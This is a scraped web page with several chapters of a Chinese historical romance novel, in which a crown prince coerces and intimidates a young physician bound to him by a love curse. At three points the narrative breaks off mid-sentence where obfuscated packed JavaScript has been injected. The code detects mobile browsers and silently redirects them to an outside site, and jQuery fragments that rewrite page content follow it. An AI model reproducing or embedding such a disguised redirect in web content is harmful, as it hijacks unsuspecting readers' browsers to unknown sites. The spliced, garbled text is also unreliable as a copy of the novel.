被裴争这么一吓,沈念双腿发软,强撑着身体才回到屋内。 裴争在想方设法逼她入太子府,可为何非要如此做呢?如果只是为了解蛊,以他的权势,又何必大费周章将她弄进府中。 身侧的紫苏却在得知沈念要去太子府后,把她的包袱塞得满满的,一边塞,一边说着: “这件带着,这件也带着,姑娘入了太子府做侍医,怕是没时间回国公府,东西带多些,奴婢好放心。” “那里比不得自家府上,奴婢又不能在身侧侍候姑娘。” 说着说着,紫苏流下眼泪,她和她家姑娘自幼相伴,从来没有分离过。 “紫苏,你……你莫要哭鼻子,”沈念打断紫苏的哭声,拿出帕子擦拭她的泪水,柔声安慰道:“我又不是不回来了,等治好太子殿下的顽疾,我会回府的。” 紫苏抽了抽鼻子,瘪着嘴,“姑娘,你没听过京城的传言么?据说那位太子爷,不近女色,好…好龙阳!” 此言一出,沈念睫毛颤动一下,伸出手捂住紫苏的嘴,“隔墙有耳,莫要胡说!” 接着她下意识望向窗外,害怕府中有裴争的眼线,确定没人后,她才放开紫苏,后背阵阵发凉,“紫苏,日后莫要胡说。” 裴争阴晴不定,与厉鬼无异,若是惹怒他,怕是只有死路一条。 紫苏吓得打了一个嗝,尴尬笑道:“姑娘,那是传言…都是传言。” 沈念陷入沉思,此事她曾也有所耳闻,加上那夜裴争明显莽撞而急躁,他分明已有二十余岁,竟真的没碰过女人?难不成真如传言那般…… 想到此处,她摇了摇头,裴争如何同她有什么关系?他们二人只是在一起解蛊罢了,各取所需。 **** 几息后,沈念收拾完便坐上太子府派来的车舆。转过西市,拐进朱雀大街,不知过了多久,才至太子府。 沈念站在府门前,看向牌匾上“太子府”三个大字,心头如同阴云蔽日。 是噩梦,也是囚牢。 日后便要生活在此,同她的噩梦——裴争在同一屋檐下。 走下车舆后,早已等待许久的长戈迎了上来,“姑娘跟属下这边请。” 沈念俯身一礼,“多谢,” “殿下吩咐过,姑娘是以侍医身份入府,日后住在西阁。”长戈一句一句交代着?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309183|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不过沈念丝毫没在意自己的住处,只想着心中的疑惑,忽而她脚步一顿,“太子殿下呢?我想见他。” “这…姑娘,殿下眼下在书房处理奏折,”长戈面露难色,“殿下只让属下带你回住处,没吩咐让你去见他。” 沈念长睫低垂,“劳烦带我去书房,我今日必须见到太子。” 她想见裴争,想知道到底为什么逼她入太子府,还有今日他手中的香囊是如何得到的……她了解宋淮之,凡她所赠之物,对方必极为珍视,有时都会舍不得戴在身上,更别说随意丢弃。 是裴争对宋淮之用了什么卑鄙手段么? 想到这里,她心中如同压着巨石,强烈的不安涌上心头。 姑娘面上渐渐浮现坚决,长戈念及她是太子殿下的第一个女人,如今又能住进府中,终心软下去。 “哎……那属下就破例带姑娘去,不过殿下见不见,就是另外一回事,属下难以保证殿下会不会见你。” ****** 府里静悄悄的,府中一概是由小厮打理,廊院亭桥,以黑白为主,同他的人一样,处处透露着阴冷。 院内凉风吹起,沈念忽觉后背发寒,拢了拢身上的衣裙,打了几个寒战。 待拐过长长的回廊,长戈终于停下脚步,转过身对着沈念说道:“沈姑娘先在此等候片刻,属下去禀告殿下。” 沈念淡淡朝长戈点头道谢,“有劳,” 片刻后,长戈推门而出,对着她道:“太子殿下有急事处理,还请沈姑娘在门外等上一等。” “殿下忙完,自然会传召姑娘。” “好,” 于是,沈念站在书房外,等着传召,她知男人不会轻易让她进去。 不过她可以等。 眼下正值午时日头正烈,而沈念正站在日头下,光影无情地压在她身上,从头到脚,无所遁形,不一会儿,她的鼻尖泛出一层细小的汗珠。 晕乎乎的,对水的渴望到了极致。 就在快要失去意识放弃时,她紧紧咬住唇瓣,以痛让模糊的意识回笼。 长戈不忍见她如此,出言相劝道:“沈姑娘,不如你先回去,今日殿下无意见你,你在这里等下去,也是无用。” 那位太子爷是说不动的主儿,不会轻易改变主意,今日这沈姑娘怕是见不到。 沈念未动,也没说话,只眨了眨眼,长长的睫毛在眼睑下投出光影,满是坚决。 她要见裴争,等多久都要见到。 姑娘站在日头下,摇摇欲坠,仿若一朵快要落入泥潭的花朵,圣洁而倔强。 明明已是那般,却仍一动不动,那股坚韧深入骨髓,昭示着她不会向任何人低头。 长戈微微叹口气,怎么一个两个都这般犟? 直到日落西山,地上的影子渐渐拉长,天边留下绚丽的残日。 她等了裴争整整一下午。 傍晚的轻风吹起,沈念后撤半步,强撑着身体才没倒下去。 这时,书房内终于传来男人低沉的嗓音, “进来。” 7.第 7 章 傍晚的清风吹来,稍稍掀起姑娘早已被汗浸透的衣裙,带来些许凉意,瞬间清醒几分。 姑娘原本白玉般的脸颊泛着不均匀的绯红,额间布满细密的汗珠,就像是被大雨浇透又经历暴晒的花朵,显得楚楚可怜。 沈念因站得太久,双腿僵直,迈步后只觉脚底生痛,又渐渐麻木,每迈一步,都要费好大一番力气,如负千斤重担。 忍着痛楚与麻木,她紧紧咬着唇瓣,艰难迈着步子向前行去。 她必须要见到裴争, 弄清楚他到底要做什么。 站在一旁的长戈见她如此,欲上前相扶却又想起男女授受不亲,随后暗自垂下手,唇瓣用力抿了抿,没有说话。 几息后,沈念推开殿门,霎时间一股浓郁的檀香包裹周身,顺着门缝,一束光悄悄挤入殿中,落在案前的裴争身上。 男人一身玄色金丝锦袍,光落在他身上,似划开裂痕,一半脸隐匿在昏暗的烛火中,一半脸映着光,透着几分森然。 听到轻轻的脚步声,他忽然抬起头,目光沉沉的看向她,而就在对上那双阴冷的眸子后,沈念却低下头,捏紧手指, “臣女…见过殿下!” 只一眼,便让人怕到极点,那双黑眸就如同深不见底的寒潭,会将人拉入其中,无法逃脱。 裴争并没有在沈念身上停留过多的目光,只专注于案前的奏折,淡淡道: “找孤何事?” 殿内的紫铜麒麟熏笼燃着檀香,丝丝缕缕的青烟飘散在空气中,交缠缭绕。 沈念忽地收紧喉咙,自那夜后,她对檀香莫名反感,只好强忍住心中的厌恶, “殿下为何要让臣女入太子府?” 姑娘的声音像一股甘冽的清泉,轻柔而舒缓。 语毕,裴争犀利的目光落在她身上,唇角掀起一抹弧度,“你觉得孤为何要让你来?” 男人的声音没有丝毫起伏,却让人心生寒意,他这一反问,沈念垂下眼眸,身体瑟瑟发抖,她哪里能知道对方有什么目的? 若是她说不知,他会恼怒么? 会因为恼怒而对她,亦或是对她身边人做出什么事么? “臣女……” 见沈念说不出话,他当即眼神一暗,盯着她压迫十足,语气不耐烦, “说话!” 沈念被突如其来的一声呵斥,吓得身形一晃,头皮瞬间麻了半边,颤抖着声音,应道: “臣女不知。” 被逼到这里,她也只好结结巴巴说一句不知。 她真的很害怕裴争, 怕到在他面前,连呼吸都谨小慎微。 就连那份从心底自发而生的厌恶都小心翼翼藏起来。 她生怕做错事说错话惹他恼怒,继而做出不可预料的事,伤害到她所在乎的人。 小姑娘眸中闪烁着惊恐,尤是他呵斥后,她就如同受惊的兔子,把头埋下去,那模样说不出的可怜。 而裴争却觉得她如此,很有趣。 随后,他眸色多有缓和,慢悠悠道: “解药,自是要带在身边为好。” 解药—— 原来他只是为了将她这个所谓的情蛊解药带在身侧,用尽手段强迫她入太子府。 而她却并无他法。 只是,这一切皆是他们二人之间的事,为何要牵扯到宋淮之呢? 想到这里,沈念垂下眼帘,攥紧拳头,哀求:“殿下,既然臣女入了太子府,能否不要牵连他人……” “他人”是谁,他们二人心知肚明。 姑娘这次的语气不似先前那般软弱,抬眸时,耳边的白玉菩提叶耳坠随着她的动作微微晃动了一下,无形之中带着几分坚定。 而看着她这般模样,裴争扔下手中的奏折,脸色倏然阴沉几分,狠下声音, “沈念,你拿什么同孤谈条件?” “再多说一句,孤就杀了他!” 显然他动了怒, 殿内气氛骤降,凉气从四面八方窜入沈念的衣裙,冷得让人直打寒战。 男人就这般盯着眼前的小姑娘,冰凉的目光似要刺穿她,逼得人喘不过气。 沈念心口止不住起伏着,欲出言谢罪, “殿…殿下……” “滚出去!” 男人的一声斥令,小姑娘惊得本能后退半步,紧握的手沁出了细细的汗珠,他就如同厉鬼一般,那骇人的目光揪着她良久,良久…… 杀意,是翻腾的杀意。 “臣女告退……” 沈念有些后怕地咽了口吐沫,再也不敢说什么,慌慌张张退了下去。 出书房后,她在小厮的带领下回到西阁,也是太子府最偏僻的位置,不过能住在这里也正合沈念心意。 她觉得见不到裴争,就会避免许多麻烦事。 这样甚好。 片刻后,她褪去衣裙躺在榻上,窗外一阵凉风吹过,床幔轻扬,意识渐渐模糊。 她梦到自己一会儿被扔在火里炙烤,一会儿又被扔在冰天雪地,反复折磨。 ****** 夜半,太子府正殿。 泠泠月光透过纱窗,悄悄漫至案前,与烛火相映,更衬其清冷静谧。 裴争端坐在案前,他骨节分明的手紧紧攥着御笔,认真批阅奏折。 安安静静坐在那里,男人眼神淡漠得毫无一丝情绪,仿若山巅之上的皑皑白雪。 冷极,亦无人敢触碰。 片刻后,长戈小心翼翼进殿禀告,“殿下,西阁小厮来报,说是沈姑娘发了高热,眼下正昏迷不醒。” 闻言,裴争并没有多余的情绪,垂眸淡道:“禀告孤做什么?孤又不是太医!” “是殿下,属下马上去传太医!”长戈转过身去,而后又似想到什么,转头继续道:“殿下,眼下沈姑娘病重,府上皆是粗鄙的小厮,无人能照顾她,擦身,喂药这种细活还是要婢女伺候……” 因裴争厌恶女子,府中琐事一概由小厮打理,如今沈念入府,终归是男女授受不亲。 裴争微微皱眉,“去太后那里调两个宫女。” 而后他似想到什么,又吩咐道: “让太医查一查她身上的香气。” “是,属下遵命!” 长戈退下后,裴争坐在那里盯着案前跳动的烛火,回想起一个月前,他因遭人暗算身受重伤,遇到同在郊外的沈念。 毕竟姑娘家,见到满身是血的男人自是害怕,而他为了活命,攥住了她的衣角,求她相救。 那是他第一次求人, 也是第一次将自己伪装成温润公子。 而沈念呢,善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16330161|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良得好骗,二话不说拖他入了马车,求他于危难。 至今没有忘记姑娘眨着水盈盈的眼眸,看向他的眼神满是担忧,就像一只软兔子,柔弱又无辜。 偏偏还要逞强救他。 真是愚蠢至极。 傻得让人觉得可怜。 只是他为何偏偏就同她中蛊? 情蛊,江南…… 想到这里,裴争折断手中的御笔,他的拳头紧紧攥着,手背青筋爆起,唯有那双眼眸,冰冷依旧,月光顺着桌案蔓延至他的衣角,更衬其神圣不可侵犯。 该死,若不是留她有用,他非杀了她不可。既然眼下杀不了她,那就当做一个玩物。 玩弄于股掌之间,倒是解闷。 他深邃的眼眸微挑,玩味地搓起手中的玉扳指。 一个时辰后,长戈回来复命,“殿下,沈姑娘那边已安排妥当。” “太医也查了她身上的香气,说只是女子体香,没什么特殊。” “体香么?”裴争先是挑了挑眉毛,而后神情缓和,声音散漫,“孤知道了。” 话音落,他的目光向窗外望去, 那是西阁的方向。 长戈好奇顺着他的目光远眺,却发现什么都没有,难不成是在看哪个星星? 莫要多言,莫要多言, 他时刻谨记,莫要多言。 几息后,裴争漫不经心掀起眼皮,“沈念情况如何?” 长戈摇了摇头,“不大好,属下走时,沈姑娘还发着高热,一直在说胡话。” 小姑娘可是晒了整整一下午,又从沈府折腾到太子府,不病倒才怪。 空气在一时之间陷入凝滞,只能听到夜风吹动窗外的树枝,沙沙作响, 良久,男人眸光动了动,眼底泛出细碎的波澜,“去西阁。” “啊?”长戈微微愣住,怀疑是自己听错了,复问道:“殿、殿下说什么?” 裴争掀起眼帘幽幽扫视一眼,沉下声音, “孤说去西阁。” ******* 秋夜凉如水,男人披着玄色氅衣,衣摆由金丝银线缝制而成的蟒龙,活灵活现,一股难以言喻的压迫涌动,侵袭着周围一切。 行至西阁,门外的两个婢女见到裴争,恭谨行礼,“奴婢参加太子殿下!” 两个婢女行礼时,轻轻晃动衣裙,散发出胭脂水粉气息,闻到香气,裴争眉目间黑压压透着阴沉,冷声: “下去!” 男人站在那里,宛若黑夜中的鹰隼,盛气逼人。 “奴婢…遵旨!” 两个婢女快着步子离去,她们在太后宫中当差,听说过当朝太子厌恶女子,见到太子后,更是怕得一颗心紧紧揪住。 下一时,裴争推开西阁的殿门,一股浓郁的汤药味扑面而来,迈过殿内屏风,见沈念正安稳躺在榻上。 小姑娘一身白纱寝衣,脸上看不到一丝血色,紧咬的嘴唇已渗出血痕,裸露在外的手腕纤细得仿若稍一用力就能折断。 不过才几日,她消瘦了不少, 回想起圆房那夜她的腰身,手腕……还没有这般纤细。 良久,因沈念过于安静,他走上前,伸出手向她的鼻间探去。 而就在这时,小姑娘浓密的睫毛颤了颤,忽地伸出手攥住他的袖口。 8.第 8 章 而就在这时,小姑娘浓密的睫毛颤了颤,忽地伸出手攥住他的袖口, “娘亲——别走!” 她的声音带着破碎的哭腔,手指紧紧攥着他的衣袖,如同抓住救命稻草。 指腹在接触到冰凉的衣物,檀香瞬间钻入鼻中,榻上的沈念陡然惊醒,见到眼前的裴争后,大脑一片空白。 他……怎会在这里? 两人目光对上,对方点漆的眸子锁住她,逼得她喘不过气,而后发觉自己正攥着他的袖口,脑袋里顿时嗡的一声,赶忙松开,仿若被热水烫了手指。 沈念低下头,跪在榻上,额头渐渐渗出冷汗,“臣女见过殿下!” 难以置信,她竟在昏睡当中攥住了裴争的衣角,若是就此怪罪下来,她会被他如何? 她怕裴争怕到极点, 无异于老鼠见到猫。 袖口落回,于两人之间晃了晃。 裴争抬眸看着沈念,不知她梦到了什么,杏眸湿润,眼泪将落未落缀在眼尾,又因为生病面色苍白,凄惨又脆弱。 接着他不疾不徐掸了掸刚刚被沈念碰过的袖口,眼尾微挑,声音漫不经心, “孤,只是来看看自己的玩物。” 他那一双乌黑的眸子不经意扫来,嘴角透着不明意味的笑,与前几次不同,这次的目光满是嘲讽。 是赤裸裸的嘲讽。 上位者以极平静的声音说出此话,落入沈念耳中却如惊雷贯耳,令人毛骨悚然。 玩物—— 在裴争眼中,她只是一个玩物, 亦或说,是一个有用的玩物。 他要用她的身子解蛊得以活命。 沈念捏住拳头,指甲嵌入掌心,在一瞬间,无名的厌恶涌上心头…… 她厌恶裴争,更厌恶自己。 在他面前她不能反抗。 十岁来到京城后,在沈府后宅她一直是逆来顺受,直到后来与宋淮之定了亲事,她才看到一丝脱离牢笼的希望。 然,命运对她总是如此不公,竟与裴争中了情蛊,眼下还被逼迫入太子府。 那男人以宋淮之的命来威胁,走到今日的地步,她哪里有选择的权利? 或者说,她从来都没有选择的机会。 她不想让宋淮之死,更不想没了性命。 只能顺从。 小姑娘青丝凌乱,烛火映照下可见她眸中泛着晶莹的泪光,却转瞬即逝。 裴争盯着她良久,捕捉到她眼眸中的厌恶与不甘,面色骤然冷下来,抬步靠近。 只一瞬,男人便站在沈念身前,居高临下盯着她,那道幽深视线如同阴暗腹蛇,黏腻冰冷地缠上她的脖颈,让人窒息。 恐惧萦绕在心头,沈念垂下眼睫,欲躲避那隐隐的压迫,却不料对方竟伸出手捏住她的下颌,逼迫她对视。 他的力道很重,下颌就像是要被人捏碎一般隐隐作痛,而沈念不能挣扎,也不敢挣扎,只能被迫抬身仰起脸,身上的寝衣却在不经意间滑落至肩头。 姑娘圆润的肩头在烛火之下,泛着温润的玉色,如莲包如绽,细腻光洁。 裴争站在那里,顺着视线清楚地瞧见小姑娘露出月牙般的锁骨,再往下便是半边酥/胸,若隐若现的轮廓一览无余。 肤若白雪,红唇藕臂, 尤是她眨着湿润杏眼仰头看着他,与梦中某种旖旎的场景重合,为他心中平添几分不知名的燥热,就像是在…刻意勾引。 看着这般的沈念,他心中忽地生出另一种逗弄的心思。 “沈念,你厌恶孤么?” 说完这句话后,男人的另一只手按在她的腰间,得寸进尺地探入她的寝衣,滚烫的指腹时重时轻捏着她腰间的软肉。 似在挑逗,玩弄。 感受到男人落在腰肢的手掌,沈念身子一僵,两只白净的耳朵红欲滴血,咬唇压住呻吟声。 眼下裴争堂而皇之的逗弄无疑是将她放置在火中炙烤,她心砰砰狂跳,声音微糯道: “臣女不——” 她此刻就如同案板上的鱼肉,任刀俎切割,哪里还敢将心中的厌恶说出来? 姑娘微红的眸子裹着潮气,声音也带着几丝哽咽,一副被欺负狠了的样子。 得到满意的答案,裴争松开她的下颌,并缩回在她腰间的手,视线落在她裸露在外的莹白,眼眸微微眯起, “沈念,孤警告你,你不过是孤的一个玩物,收起哪些歪心思。” “想用身子勾引孤么?沈念?你配么?” 沈念心里蓦地一恸,抬手拢上方才不小心滑落的衣物,身子霎时间凉了一大截。 对方竟然怀疑她在勾引。 她怎会勾引他! 强烈的羞愤涌上心头,她垂下眼帘,小声道:“臣女不敢…” 男人既然已认定她在勾引,再作出任何解释都会惹他恼怒,只好低微顺从。 裴争扫了她一眼,忽而挑唇一笑, “你最好不敢。” 男人的声音平缓,却透露着无形的压迫,逼得沈念喘不过气,如同被铁链一圈一圈缠着喉咙。 他离开后,沈念瘫坐在榻上,浑身发抖,仿若身处于冰天雪地。 冷极,也怕极。 被裴争这么一吓,沈念当夜又发了高热,太医前来诊治,婢女喂药……整整五日,她才痊愈。 **** 第六日,秋雨后天色放晴,暖融融的阳光透过合窗落在案前的沈念身上,似一匹流动的金纱,泛起细碎的微光,更衬她明艳动人。 几息后,殿内的婢女将药端进来放置在案前, “姑娘,喝药。” 沈念看着案前黑糊糊的药散发着浓浓的苦涩味,微微偏过头,摆了摆手,“拿下去吧,我已痊愈,不必喝药了。” 话音落,婢女跪在地上,哀求着,“这……姑娘,殿下吩咐过,一定要看着姑娘喝完,否则奴婢难逃一死,求姑娘饶命啊!” 跪在地上的婢女浑身发抖,沈念凝起眉头,他们不过十四五岁,却因为她调来太子府,日日过得心惊胆战。 同样的命苦,她又何必为难别人。 纷乱的思绪渐渐归于平静,沈念端起那碗药,压下那股恶心,屏住呼吸,一口气饮了下去。 苦药入口,姑娘眉头紧锁,眼睫轻轻颤抖着,强逼自己咽了下去。 “奴婢谢姑娘!谢姑娘!” 婢女如蒙大恩,端着药碗退下。 沈念拿出帕子擦去嘴角的药渍,胃里翻江倒海,想起往日喝苦药时,都会得到宋淮之为她精心准备的蜜饯。 眼下却什么都没有,只能忍着,受着。 她有点想他了, 想她的温润郎君。 眼前浮现出郎君温和的笑,沈念鼻尖凝起酸涩,心里空落落的。 而就在她打算继续看着案前书卷时,忽地有小厮进殿禀告,“沈侍医,府外有一位自称是宋淮之的男子前来寻你,可要请进来?” 闻言,沈念眸光里染上几分明媚笑意,再无方才的伤感, “淮之?他来了?” “不必,我出府去见他。” 姑娘出门时颊边挂着盈盈笑意,迈着轻快的步子,碧色的衣裙在半空中轻扬飞旋,荡起一圈又一圈的涟漪。 她早已迫不及待, 只想快点见到她的郎君。 行至府门,沈念微微喘着气,瞧见白衣郎君背对身站在那里,秋风吹落枝头的树叶,扑簌簌落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351508|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他身上。 那一刻,时间仿若静止,整个世间只有他一人。 “淮之!”沈念跑过去,扑到郎君的怀中,“我…好想你。” 她好想他, 真的很想很想。 姑娘把脸埋进郎君的肩窝,嗅着他身上特有的书墨香,心渐渐归于平静。 在太子府中同裴争周旋,身心俱疲,如今看到宋淮之就像刚刚经历过狂风暴雨摧残的花朵,得到阳光的抚慰。 她想抱紧他,再紧一点。 珍宝在怀,宋淮之不敢动,任着姑娘紧紧抱着她,感受她温热的呼吸扑在颈间,他蓦地红了耳根,抬手轻抚沈念的头,温声道:“卿卿这是怎么了?” 沈念察觉自己的行为反常,为了不让他担忧,她脱离郎君的怀抱,搪塞过去,“没事,只是想你。” 听到姑娘这话,宋淮之眉头拧得更深了,“卿卿,我听闻你入了太子府做侍医,这究竟怎么回事?” 他了解沈念的性子,从不喜与权贵牵扯,如今竟然肯去太子府,实在反常。 看着满心满眼都是她的郎君,沈念下意识别过头,强忍住心中的酸涩, “太子殿下备受顽疾之苦,我入太子府给他治顽疾。” “你放心,没人强迫我,是我自愿的,治好太子能得立大功,日后凭借此也能为我那个不争气的阿弟谋个好前程。” 思来想去,沈念知道只有这个理由才能让宋淮之相信。 听到沈念如此说,宋淮之终放下悬着的心,他知晓她的处境,也明白在国公府只有沈瑜真正对她好。 小姑娘过去的日子太苦了…… 想到这里,宋淮之牵起沈念的手,在她手心落下一吻,眼神之中满是怜惜,“卿卿,等我娶你,定不会让你再受委屈。” 郎君的吻落在手心,痒痒的,热热的,抚去她心中的寒意,这么多年来,只有宋淮之能让她感受到什么是爱。 然,傻傻的郎君对她从来都是克制,将她捧在手心里,而她呢,却因为情蛊同裴争苟合,早已非完璧之身。 他那般隐忍,到最后千盼万盼的妻子,却将贞洁给了别人。 万千思绪如密网笼罩在心头,风轻轻吹动她额间的碎发,引得她心乱乱的。 当她再次抬眸望着宋淮之时,无名的悸动,愧疚占据内心,最终,她踮起脚尖吻上他的唇角。 这是她初次亲吻一个男子。 郎君的唇软软的,带着淡淡的香甜,勾得她心尖发颤。 只蜻蜓点水般一吻,却也足以宋淮之愣在原地,不知该做何反应。 沈念脸颊染上红晕,低声道:“淮之,我……” 姑娘的话唤回宋淮之的思绪,他伸出手捂住她的唇,吻向她的额间,轻声道:“我都知晓,卿卿,等我娶你。” “好,我等你。” 无论如何,她一定会嫁给宋淮之为妻, ******* 另一边,太子府书房。 裴争端坐在案前察看卷宗,却在提笔之时,忽觉胸口一阵闷痛,而后蔓延至全身,仿若有千万根针刺入每一寸肌肤。 是无休无止的疼痛。 他紧紧攥着拳头,额头上青筋暴起,渗出层层密汗。 因幼时在冷宫长大,不幸患上寒疾,多年来每每发作,要要靠太医的汤药才能缓解。 只是那药中含有的川乌含毒,长年服用会损害身体,这几次发作裴争硬是忍了过去。 眼下已是这个月的第三次。 一旁的长戈不忍见他如此,“殿下!可要请太医?” 男人紧紧闭着双眼,嘴唇不见一丝血色,呼吸也因疼痛而急促。 良久,他才艰难发出声音,“传…沈念。” 9.第 9 章 传召的消息传来时,沈念正坐在妆镜前梳着湿漉漉的青丝,因她刚刚沐浴过,身上未完全干透。 这般样子,出去见人实在不妥。 更别说是去见裴争…… 若是仍被误会勾引他怎么办? 那男人实在狠辣,又喜怒无常。 只要一想起那日他的手指捏在她的腰间无情地玩弄着,她便怕到心慌,从头到脚只剩下寒意。 隔着门扉,沈念细白指尖捏紧寝衣,小声道:“…能否再等等?” 门外的长戈来回踱步,“姑娘,等不得!快快同属下前去!” 沈念垂下眼眸,虽不知长戈前来到底为何事,但听着他语气焦灼,又想到那裴争脾气古怪,没再说什么拒绝,只好匆匆披上外衣,将自己裹得严严的,推门走了出去。 见到沈念后,长戈如获救星,急急道:“快!姑娘快同我前去。” 秋夜寒凉,沈念跟着长戈快步行在府中青石路上,夜风习来,冷意一点一点侵入她的身子,一连打了好几个寒战。 行到书房,长戈在前推开殿门,只让她一人进入,熟悉的檀香袭来,沈念在猛然之间神情紧绷,咬牙提起裙摆迈入殿内。 绕过山水屏风,只见男人端坐在案前,不过今夜的他很不一样,双眸微眯,紧紧抿着唇,攥着拳头的指节泛白,就像是在忍受剧烈的疼痛。 她走上前,敛眸行礼, “臣女,见过殿下。” 语毕,殿内忽地陷入死一般的沉寂,唯有窗边透过来的月光落在男人身上,映得他如同高墙之上的皑皑白雪,清冷气息铮然冷冽,让人难以接近。 一个泰然自若坐在案前, 一个心惊胆战站在殿内。 就这般僵持着,沈念面上镇静,实际头皮早已麻了半边,加之身上潮湿的衣物紧贴肌肤,很不舒服。 良久,男人才缓缓开口:“过来,研墨。” 对方的话落入耳中,比殿外的夜风还冷,仿若一把刀子划过她的肌肤,沈念一时心跳如鼓,声音细若蚊蚋, “是…臣女遵旨。” 姑娘小心翼翼走上前,迈着极轻的步子,案前的裴争在闻到她身上淡淡的梅香后,胸口的闷痛霎时间消失不见,犹如春日的轻风拂过,神清气爽。 而沈念却在闻到强烈的檀香时,如若被一只无形的大手扼住呼吸,只好咬着后槽牙强压住恶心,乖乖来到案前研墨。 神情分明后,裴争睁开双眼,转头看着身侧的小姑娘。 她一头湿漉漉的乌发,外衣紧紧裹在身上,生怕露出肌肤让人瞧了去,随着她的动作,梅香中似乎还夹杂着淡淡皂角香。 不过无论是什么,都让他十分舒畅。 “刚沐浴过么?” 闻言,沈念手上顿住,那种惧怕提到心尖,硬生生被吓出一身冷汗。 这句话又是什么意思? 她……该沐浴过么? 问她此话要做什么? “孤在问你话。” 她咬了咬唇角,轻声应道: “是…臣女刚刚沐浴过。” 与心中所想的不同,男人在得到她的回应后,竟拿起案前奏折批阅起来,似忘记身侧还有她的存在。 沈念暗地里长舒一口气,静静为对方研墨,两人互不干扰,一派岁月静好的模样。 …… 直到深夜,透过殿内的月光顺着地锦,悄悄蔓延至他们二人的脚边,如薄雾笼罩。 裴争从忙碌中回过神,瞧了沈念一眼后,吩咐:“退下吧。” 难见他眸色柔和许多。 得到此命令,沈念如释重负,就连声音都轻快几分,“臣女谢殿下。” 姑娘眼角藏笑,眨动着如蝶翼般的羽睫。而这份愉悦是源于她可以退去书房的命令。 想到这里,裴争抿起唇,眉峰轻蹙, “沈念,日后每至傍晚,都来书房研、 墨。” 听到男人的吩咐,沈念打了一个冷颤,心中一片悲凉,这也意味着日后她都要同裴争见面,还要共处一室。 这该如何是好? 回到西阁的沈念拖着疲惫的身子躺在榻上,,整个人如同漂浮的朽木,昏昏沉沉。 ****** 自上次宋淮之来太子府探望沈念后,他决定每日午时都抽出时间来陪她。 因此,她白日里同宋淮之出去闲逛,傍晚归来后便前去书房为裴争研墨,只要那人不恼怒,日子倒也清闲自在。 无论如何,有宋淮之伴在身侧。 直到五日后傍晚,沈念照例来到书房研墨,进了书房行礼后,走到裴争身侧。 这几日他们之间相处还算融洽。 沈念缓步走近后,案前的裴争在闻到她身上的香气时,眉头紧锁,眸若寒冰。 他发现她身上不止有梅香,还多另一种特殊的书墨香。 是不属于她的香味。 准确来说,是他厌恶的气息。 沈念丝毫没有察觉到对方的不对,手上研着墨,却在心中想起同宋淮之亲密的场景,唇角不自觉地上扬。 她的郎君总是温柔体贴,恨不得将她捧在手心里。 姑娘的笑意落在眼中,裴争盯着她,脸色越发阴沉,今日他才发现她的妆容已不再是往日般的端庄清冷,反而是多了几分明媚娇俏。 就好似春日里的娇花,在等待着他人采撷,眸光流转间,尽是媚态。 这时的沈念才回过神,察觉到裴争的目光一直落在她身上,细细打量她的眉眼,脸颊…… 在那目光之中,她甚至看到莫名其妙的占有欲,一步步逼近她,压着她。 只是她并没有做错什么,为何会招到对方如此打量? 接着,她的下颌忽地被男人捏起, “殿……殿下,要做什么?” 对方突如其来的举动,让沈念着实吓了一跳,惊恐地左顾右盼,就像是一只落入猎人网中的小鹿,惊慌失色。 她想躲,无奈被对方牢牢钳制住。 裴争未语,只是细细端详着她,小姑娘娇媚的面容不加掩饰地呈现在眼前,尤是那股书卷香入鼻。 他眼神渐渐生出几分恶寒,甩开她的脸,厉声呵斥, “滚出去。” 由于男人的力道很重,沈念倒在地上,她不知道自己哪里惹恼了裴争,只知道眼下要离开此处。 离开裴争。 她真的很害怕对方做出什么事。 接着,她压下心中的慌乱,柔柔一拜后退了下去。 而在沈念退下后,裴争眸光沉了几分,袖中的手倏然缩紧, “去查沈念最近在做什么。” “事无巨细。” 长戈点头:“是,属下遵旨。” 几息后,长戈胆战心惊回来,禀告道:“殿下,属下……查到了。” “说,” “回殿下,沈……沈姑娘最近白日里都与宋公子在一起,每到傍晚才会回到太子府。” 长戈暗地里替沈念捏了把汗,他不知道为什么殿下会查她的行踪,但看着他阴沉至极的脸色,就知道此事怕是没那么简单。 霎时间,周围的空气仿若凝滞,男人的眸中泛起的寒意凌人。 “宋淮之?” 他唇角轻扯,声音极沉, “孤,知道了。” ********** 次日午时,沈念依旧同宋淮之出府闲逛,今日郎君瞧出她的不悦,为了哄她开心,带她去了京城的医馆。 他们二人在那里同医师讨教,学会了许多药理。 经历今日这番遭遇,沈念更加坚定同宋淮之成亲后,要开一家医馆。 她并没有什么追求,权势于她而言,莫过于过眼云烟,只望一生安稳,医术傍身,相夫教子。 可眼下情蛊在身,她并无法子摆脱,只能受限于裴争。 想到此处,只有深深的无力。 心头涌起一股忧伤,昏昏沉沉却又明明白白。 